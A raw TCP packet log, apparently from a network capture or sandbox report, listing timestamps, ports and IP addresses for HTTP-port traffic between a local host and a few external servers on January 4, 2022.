Jan 4, 2022 19:34:06.148411036 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.148422003 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.148430109 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.148447037 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.148467064 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.148483038 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.148489952 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.148495913 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.148499012 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.148514986 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.148530960 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.148533106 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.148546934 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.148561954 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.148583889 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.148591995 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.148596048 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.148612022 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.148616076 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.148677111 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.148695946 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.148710966 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.148739100 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.148796082 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.159651995 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.159756899 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.164748907 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.164788008 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.164804935 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.164818048 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.164820910 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.164836884 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.164844990 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.164874077 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.164886951 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.164890051 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.164906025 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.164921999 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.164922953 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.164937973 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.164947033 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.164985895 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.165081024 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.165105104 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.165122032 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.165128946 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.165138006 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.165150881 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.165163040 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.165174007 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.165189981 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.165191889 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.165205002 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.165234089 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.165260077 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.165357113 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.165379047 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.165399075 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.165402889 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.165415049 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.165436029 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.165462017 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.165501118 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.165520906 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.165546894 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.165580034 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.166903019 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.166989088 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.167193890 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.167216063 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.167243004 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.167263985 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.167742014 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.167808056 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.167912006 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.167932034 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.167974949 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.168329954 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.168349981 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.168365955 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.168376923 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.168381929 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.168397903 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.168428898 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.168467045 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.169053078 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.169071913 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.169087887 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.169104099 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.169121027 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.169136047 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.169145107 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.169152975 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:06.169214964 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:06.182390928 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.201036930 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:34:06.203284979 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.203315973 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.203332901 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.203349113 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.203356028 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.203365088 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.203382015 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.203382015 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.203399897 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.203417063 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.203423023 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.203433990 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.203448057 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.203450918 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.203468084 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.203474045 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.203485012 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.203496933 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.203501940 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.203517914 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.203535080 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.203536034 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.203551054 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.203567982 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.203568935 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.203583956 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.203588009 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.203599930 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.203612089 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.203617096 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.203634024 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.203656912 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.203839064 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.203856945 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.203872919 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.203883886 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.203887939 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.203903913 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.203916073 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.203919888 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.203938961 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.203948975 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.203954935 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.203978062 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.203996897 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.225682974 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.225719929 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.225738049 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.225756884 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.225766897 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.225778103 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.225799084 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.225800991 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.225817919 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.225833893 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.225852966 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.225860119 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.225872993 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.225879908 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.225893021 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.225908041 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.225914955 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.225934029 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.225935936 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.225955009 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.225970030 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.225975037 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.225994110 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.225996017 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.226012945 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.226026058 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.226035118 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.226051092 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.226067066 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.226073027 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.226090908 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.226100922 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.226111889 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.226128101 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.226133108 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.226154089 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.226161957 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.226174116 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.226193905 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.226196051 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.226221085 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.226238012 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.226243019 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.226243019 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.226263046 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.226269007 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.226283073 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.226290941 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.226303101 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.226310968 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.226325989 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.226331949 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.226346016 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.226351976 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.226366043 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.226372957 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.226386070 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.226392031 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.226406097 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.226413012 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.226427078 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.226433992 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.226448059 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.226454973 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.226468086 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.226475000 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.226488113 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.226497889 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.226509094 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.226519108 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.226530075 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.226541042 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.226552010 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.226560116 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.226572990 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.226581097 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.226593971 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.226602077 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.226615906 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.226623058 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.226635933 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.226646900 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.226656914 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.226670980 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.226679087 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.226696968 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.226700068 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.226718903 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.226723909 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.226738930 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.226757050 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.226758957 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.226778030 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.226787090 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.226798058 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.226814985 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.226823092 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.226861000 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.247915983 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.247958899 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.247981071 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.248001099 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.248056889 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.248090029 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.248111963 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.248131990 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.248137951 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.248159885 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.248184919 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.248198032 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.248209953 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.248231888 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.248253107 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.248265028 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.248320103 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.248361111 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.248373985 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.248420000 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.248440981 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.248480082 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.248603106 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.248626947 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.248651028 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.248682022 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.248689890 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.248703957 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.248725891 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.248745918 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.248754025 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.248775959 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.248795033 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.248814106 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.248822927 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.248843908 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.248893023 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.248898029 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.248917103 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.248938084 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.248972893 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.248987913 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.248974085 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.249011040 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.249030113 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.249046087 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.249062061 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.249083996 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.249097109 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.249119043 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.249140024 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.249170065 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.249174118 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.249193907 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.249214888 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.249233007 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.249243021 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.249264956 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.249279976 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.249305964 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.249314070 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.249336958 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.249360085 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.249372959 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.249382973 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.249419928 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.249427080 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.249445915 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.249464035 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.249475002 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.249485016 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.249501944 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.249522924 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.249545097 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.249547005 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.249564886 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.249588013 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.249593973 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.249608040 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.249619961 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.249639988 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.249653101 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.249665022 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.249680042 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.249700069 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.249707937 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.249722958 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.249733925 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.249748945 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.249759912 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.249773026 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.249787092 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.249809980 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.249814987 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.249835968 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.249852896 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.249854088 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.249871969 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.249902964 CET	80	49898	116.202.186.120	192.168.2.5
Jan 4, 2022 19:34:06.249907017 CET	49898	80	192.168.2.5	116.202.186.120
Jan 4, 2022 19:34:06.249922991 CET	49898	80	192.168.2.5	116.202.186.120
